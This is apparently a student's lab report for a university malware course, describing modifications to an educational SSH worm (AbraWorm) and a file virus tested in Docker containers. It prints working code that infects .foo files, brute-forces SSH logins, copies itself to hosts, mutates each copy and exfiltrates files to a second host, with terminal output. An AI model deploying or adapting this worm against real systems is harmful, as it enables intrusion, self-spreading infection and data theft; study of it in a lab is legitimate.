

CSE 406: Malware Offline Report

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Task 1: We need to turn FooVirus.py virus into a worm by incorporating networking code in it. For this, networking code similar to that of AbraWorm.py is added here. The newly developed worm is capable of self-propagation by targeting files with the ".foo" extension in its current directory. When it finds such files, it modifies their contents, effectively creating identical copies of itself. It also attempts to connect to other computers through SSH, using either random username and password (using debug=0) guesses or known credentials (using debug=1). Once it infects a new computer, it remains dormant until someone executes it, at which point it resumes creating copies and spreading further.

Code snippets of the modifications:

```
165 # of looping.
166 IN = open(sys.argv[0], 'r')
167 virus = [line for (i,line) in enumerate(IN) if i < 254]
168
169 for item in glob.glob("*.foo"):
170     IN = open(item, 'r')
171     all_of_it = IN.readlines()
172     IN.close()
173     if any('foovirus' in line for line in all_of_it): continue
174     os.chmod(item, 0o777)
175     OUT = open(item, 'w')
176     OUT.writelines(virus)
177     all_of_it = ['#' + line for line in all_of_it]
178     OUT.writelines(all_of_it)
179     OUT.close()
180 while True:
```

```
# First loop over passwords
for passwd in passwds:
    # Then loop over user names
    for user in usernames:
        # And, finally, loop over randomly chosen IP addresses
        for ip_address in get_fresh_ipaddresses(NHOSTS):
            print("\nTrying password %s for user %s at IP address: %s" % (passwd,user,ip_address))
            files_of_interest_at_target = []
            try:
                ssh = paramiko.SSHClient()
                ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                ssh.connect(ip_address,port=22,username=user,password=passwd,timeout=5)
                print("\n\nconnected\n")
```

```

# print( \files of interest at the target: %s % str(files_of_interest_at_target) )
scpcon = scp.SCPClient(ssh.get_transport())
# if len(files_of_interest_at_target) > 0:
#     for target_file in files_of_interest_at_target:
#         scpcon.get(target_file)
# Now deposit a copy of AbraWorm.py at the target host:
scpcon.put(sys.argv[0])
scpcon.close()
except:
    continue
# Now upload the exfiltrated files to a specially designated host

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```

# print( \will now try to exfiltrate the files /
try:
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    # For exfiltration demo to work, you must provide an IP address and the login
    # credentials in the next statement:
    ssh.connect('172.17.0.3',port=22,username='root',password='mypassword',timeout=5)
    scpcon = scp.SCPClient(ssh.get_transport())
    print("\n\nconnected to exfiltration host\n")
    # for filename in files_of_interest_at_target:
    #     scpcon.put(filename)
    scpcon.close()
except:
    print("No uploading of exfiltrated files\n")
    continue

```

Before Executing the attack:

The contents of the current directory in host machine before the attack is executed:

```
● seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code$ ls
1805116_1.py 1805116_2.py 1805116_3.py AbraWorm.py FooVirus.py check1.foo hello.txt ips.txt
● seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code$ cat check1.foo
hello
```

The file contents of remote machines before executing the attack:

```
seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malw
● are-Jan23/Offline-Malware-Jan23/Code$ docksh 2da9
root@2da91f2a4fd8:/# cd
root@2da91f2a4fd8:~# ls
hello.txt hi type.foo
root@2da91f2a4fd8:~# exit
exit
```

After Executing the Attack:

The infected foo files of current directory in host machine:

```
● seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code$ ls
1805116_1.py 1805116_2.py 1805116_3.py AbraWorm.py FooVirus.py check1.foo hello.txt ips.txt
● seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code$ cat check1.foo
hello
● seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code$ python3 1805116_1.py

Trying password mypassword for user root at IP address: 172.17.0.2

connected

connected to exfiltration host
● seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code$ cat check1.foo
#!/usr/bin/env python

### AbraWorm.py

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### Date: April 8, 2016; Updated April 6, 2022

## This is a harmless worm meant for educational purposes only. It can
## only attack machines that run SSH servers and those too only under
## very special conditions that are described below. Its primary features
## are:
##
## -- It tries to break in with SSH login into a randomly selected set of
##    hosts with a randomly selected set of usernames and with a randomly
##    chosen set of passwords.
##
## -- If it can break into a host, it looks for the files that contain the
##    string 'abracadabra'. It downloads such files into the host where
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```

        # for target_file in files_of_interest_at_target:
        #     scpcon.get(target_file)
        # Now deposit a copy of AbraWorm.py at the target host:
        scpcon.put(sys.argv[0])
        scpcon.close()
    except:
        continue
    # Now upload the exfiltrated files to a specially designated host,
    # which can be a previously infected host. The worm will only
    # use those previously infected hosts as destinations for
    # exfiltrated files if it was able to send the login credentials
    # used on those hosts to its human masters through, say, a
    # secret IRC channel. (See Lecture 29 on IRC)
    # if len(files_of_interest_at_target) > 0:
    #     print("\nWill now try to exfiltrate the files")
    try:
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        # For exfiltration demo to work, you must provide an IP address and
        # credentials in the next statement:
        ssh.connect('172.17.0.3',port=22,username='root',password='mypassword
        ',timeout=5)

        scpcon = scp.SCPClient(ssh.get_transport())
        print("\n\nconnected to exfiltration host\n")
        # for filename in files_of_interest_at_target:
        #     scpcon.put(filename)
        scpcon.close()
    except:
        print("No uploading of exfiltrated files\n")
        continue
    if debug: break
    #hello

```

Contents of the remote machine directory: Here a copy of the virus is deposited.

```

seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-M
alware-Jan23/Code$ docksh 2da9
root@2da91f2a4fd8:/# cd
root@2da91f2a4fd8:~# ls
1805116_1.py hello.txt hi type.foo
root@2da91f2a4fd8:~# exit
exit

```

Executing an infected foo file:

First, a new foo file is created and an infected foo file, check1.foo is kept in the same directory(check2).

```
● seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code$ mkdir check2
● seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code$ cd check2
● seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code/check2$ touch b.foo
● seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code/check2$ echo "check if it is affected" >> b.foo

● seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code/check2$ cat b.foo
check if it is affected
● seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code/check2$ cd ..
● seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code$ mv "check1.foo" "check2/"
● seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code$ ls
1805116_1.py 1805116_2.py 1805116_3.py AbraWorm.py FooVirus.py check2 hello.txt ips.txt
● seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code$ cd check2
● seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code/check2$ ls
b.foo check1.foo
● seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code/check2$ cat b.foo
check if it is affected
```

After executing check1.foo, we see that the new file b.foo is also infected.

```
● seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code/check2$ cat b.foo
check if it is affected
● seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code/check2$ python3 check1.foo

Trying password mypassword for user root at IP address: 172.17.0.2

connected

connected to exfiltration host

● seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code/check2$ cat b.foo
#!/usr/bin/env python

### AbraWorm.py
```

```
print("\n\nconnected to exfiltration host\n")
# for filename in files_of_interest_at_target:
#     scpcon.put(filename)
scpcon.close()
except:
    print("No uploading of exfiltrated files\n")
    continue
if debug: break

#hello
#check if it is affected
```

Task 2: We have to modify the file AbraWorm.py so that no two copies of the worm are exactly the same in all of the infected hosts at any given time.

For this purpose, file path of parent file is added at the last as a comment block.

Code Snippets of Modifications:

```
214
215     file_path = os.path.abspath(__file__)
216     # temp_file = open("edited_1805116_2.py", "w")
217     with open(sys.argv[0], "r") as current_file:
218         all_lines = current_file.readlines()
219         with open("edited_1805116_2.py", "w") as temp_file:
220             for line in all_lines:
221                 temp_file.write(line)
222                 comment = "\n# === File: {file_path} ===\n"
223                 temp_file.write(comment)
224                 temp_file.flush()
225     # temp_file.close()
226     os.system("sudo chmod 777 edited_1805116_2.py")
227     scpcon.put("edited_1805116_2.py", "1805116_2.py")
228     # temp_file.close()
229     scpcon.close()
230     # temp_file.close()
231
232     # scpcon.put(sys.argv[0])
233     # scpcon.close()
```

Before Executing the Attack:

Current Directory files before attack:


```

● seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code$ ls
1805116_1.py 1805116_2.py 1805116_3.py AbraWorm.py FooVirus.py check2 ips.txt
● seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code$ python3 1805116_2.py

Trying password mypassword for user root at IP address: 172.17.0.2

connected

output of 'ls' command: [b'1805116_1.py\n', b'hello.txt\n', b'hi\n', b'hi.foo\n']
files of interest at the target: [b'1805116_1.py', b'hello.txt', b'hi.foo']
Will now try to exfiltrate the files

connected to exfiltration host

```

Docker Container of ip 172.17.0.2 files before attack:

```

● seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code$ docksh 2da9
root@2da91f2a4fd8:/# cd
root@2da91f2a4fd8:~# ls
1805116_1.py hello.txt hi hi.foo
root@2da91f2a4fd8:~# cat hello.txt
abracadabra
root@2da91f2a4fd8:~# cat hello.txt
abracadabra
root@2da91f2a4fd8:~# cat hi.foo
abracadabra blablabla
root@2da91f2a4fd8:~# exit
exit

```

Docker Container of ip 172.17.0.3 files before attack:

```

● seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code$ docksh e1a6
root@e1a643715636:/# cd
root@e1a643715636:~# ls
check era.txt
root@e1a643715636:~# cat era.txt
era
root@e1a643715636:~# exit
exit

```

After Executing the Attack:

After executing the attack, there will be a logical copy (not exact copy) of the file 1805116_2.py in “edited_1805116_2.py” name in the remote machines of ip 172.17.0.2 Apart from this, the files containing “abracadabra” of the targeted remote machines will be transferred to host machine, and the it will be send to a target machine of ip address 172.17.0.3

```
seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code$ ls
1805116_1.py 1805116_3.py FooVirus.py edited_1805116_2.py hi.foo
1805116_2.py AbraWorm.py check2 hello.txt ips.txt
seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code$ cat hi.foo
abracadabra blablalbla
seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code$ cat hello.txt
abracadabra
```

The files (in the root directory only) containing “abracadabra” are transferred in the host machine.

```
seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code$ docksh 2da9
root@2da91f2a4fd8:/# cd
root@2da91f2a4fd8:~# ls
1805116_1.py edited_1805116_2.py hello.txt hi hi.foo
root@2da91f2a4fd8:~# cat edited_1805116_2.py
#!/usr/bin/env python

### AbraWorm.py

### Author: Avi kak (kak@purdue.edu)
### Date: April 8, 2016; Updated April 6, 2022
```

The altered copy of the worm is marked in the image of the infected machines.

Output of the execution:

```
seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code$ python3 1805116_2.py

Trying password mypassword for user root at IP address: 172.17.0.2

connected

output of 'ls' command: [b'1805116_1.py\n', b'hello.txt\n', b'hi\n', b'hi.foo\n']
files of interest at the target: [b'1805116_1.py', b'hello.txt', b'hi.foo']
Will now try to exfiltrate the files

connected to exfiltration host
```


The transferred files in the target machine:

```
seed@CSE406-CHECK: ~/Downloads/offline2/Offline-Malware-Jan23/0
● ffline-Malware-Jan23/Code$ docksh e1a6
root@e1a643715636:~# cd
root@e1a643715636:~# ls
1805116_1.py  check  era.txt  hello.txt  hi.foo
root@e1a643715636:~# exit
exit
```

Altered version of the worm:

Now let's see the effect of alteration of the worm code.

```
        print("something went wrong")
        continue
    # Now upload the exfiltrated files to a specially designated host,
    # which can be a previously infected host. The worm will only
    # use those previously infected hosts as destinations for
    # exfiltrated files if it was able to send the login credentials
    # used on those hosts to its human masters through, say, a
    # secret IRC channel. (See Lecture 29 on IRC)
    if len(files_of_interest_at_target) > 0:
        print("\nWill now try to exfiltrate the files")
        try:
            ssh = paramiko.SSHClient()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            # For exfiltration demo to work, you must provide an IP address and the login
            # credentials in the next statement:
            ssh.connect('172.17.0.3',port=22,username='root',password='mypassword',timeout=5)
            scpcon = scp.SCPClient(ssh.get_transport())
            print("\n\nconnected to exfiltration host\n")
            for filename in files_of_interest_at_target:
                scpcon.put(filename)
            scpcon.close()
        except:
            print("No uploading of exfiltrated files\n")
            continue
    if debug: break

# === File: /home/seed/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code/1805116_2.py ===
```

Task 3: Here we need to examine the files of the directories at every level and transfer the desired files to target machine.

For this purpose, the files are collected recursively from each directories and saved to and then the files are read from the host machine and sent to the target machine.

This modification is done on the code of Task 2. Therefore, here the modifications in task 2 are avoided in discussion.

Code snippets of modification in task 3:

```
197 # Now let's look for files that contain the string 'abracadabra'
198 cmd = 'grep -rls abracadabra *'
199 stdin, stdout, stderr = ssh.exec_command(cmd)
200 error = stderr.readlines()
201 if error:
202     print(error)
203     continue
```

This code snippet recursively collects all the files in a remote machine.

```
240 # secret IRC channel. (See Lecture 29 on IRC)
241 if len(files_of_interest_at_target) > 0:
242     print("\nWill now try to exfiltrate the files")
243     try:
244         ssh = paramiko.SSHClient()
245         ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
246         # For exfiltration demo to work, you must provide an IP address and the login
247         # credentials in the next statement:
248         ssh.connect('172.17.0.3',port=22,username='root',password='mypassword',timeout=5)
249         scpcon = scp.SCPClient(ssh.get_transport())
250         print("\n\nconnected to exfiltration host\n")
251         for filename in files_of_interest_at_target:
252             dest_filename = os.path.basename(filename)
253             scpcon.put(dest_filename)
254         scpcon.close()
255     except:
```

The code snippet enters in the desired directory, sends the files of the directory to the target machine, then comes back to the current directory from where the code is executing.

Before Executing the Attack:

```
● seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code$ ls
1805116_1.py 1805116_3.py FooVirus.py hello.txt ips.txt
1805116_2.py AbraWorm.py check2 hi.foo
```

Current directory before executing the attack.

```

exit
seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code$ docksh 2da9
root@2da91f2a4fd8:/# cd
root@2da91f2a4fd8:~# ls
1805116_1.py  hello.txt  hi.foo
1805116_2.py  hi
root@2da91f2a4fd8:~# cd hi
root@2da91f2a4fd8:~/hi# ls
bar.foo
root@2da91f2a4fd8:~/hi# cat bar.foo
abracadabra
abracadabra

```

Files of the target remote machine of ip 172.17.0.2

```

exit
seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code$ docksh e1a6
root@e1a643715636:/# cd
root@e1a643715636:~# ls
check era.txt hi.foo
root@e1a643715636:~#

```

Files of the target remote machine of ip 172.17.0.3

Output of the execution:

```

seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code$ python3 1805116_3.py
Trying password mypassword for user root at IP address: 172.17.0.2

connected

output of 'ls' command: [b'1805116_1.py\n', b'1805116_2.py\n', b'hello.txt\n', b'hi\n', b'hi.foo\n']
files of interest at the target: [b'1805116_2.py', b'hello.txt', b'hi/bar.foo', b'hi.foo']
Will now try to exfiltrate the files

connected to exfiltration host
seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code$

```

After Executing the Attack:

Note that, all the files containing “abracadabra” in all the directories at each level is collected and transferred to target machine.

Host machine’s collected files:

```
● seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code$ ls
1805116_1.py 1805116_3.py FooVirus.py check2 hello.txt ips.txt
1805116_2.py AbraWorm.py bar.foo edited_1805116_2.py hi.foo temp_file.py
○ seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code$
```

172.17.0.3 machine's collected files:

```
seed@CSE406-CHECK:~/Downloads/offline2/Offline-Malware-Jan23/Offline-Malware-Jan23/Code$ docksh e1a6
root@e1a643715636:/# cd
root@e1a643715636:~# ls
1805116_2.py check hello.txt
bar.foo era.txt hi.foo
root@e1a643715636:~#
```

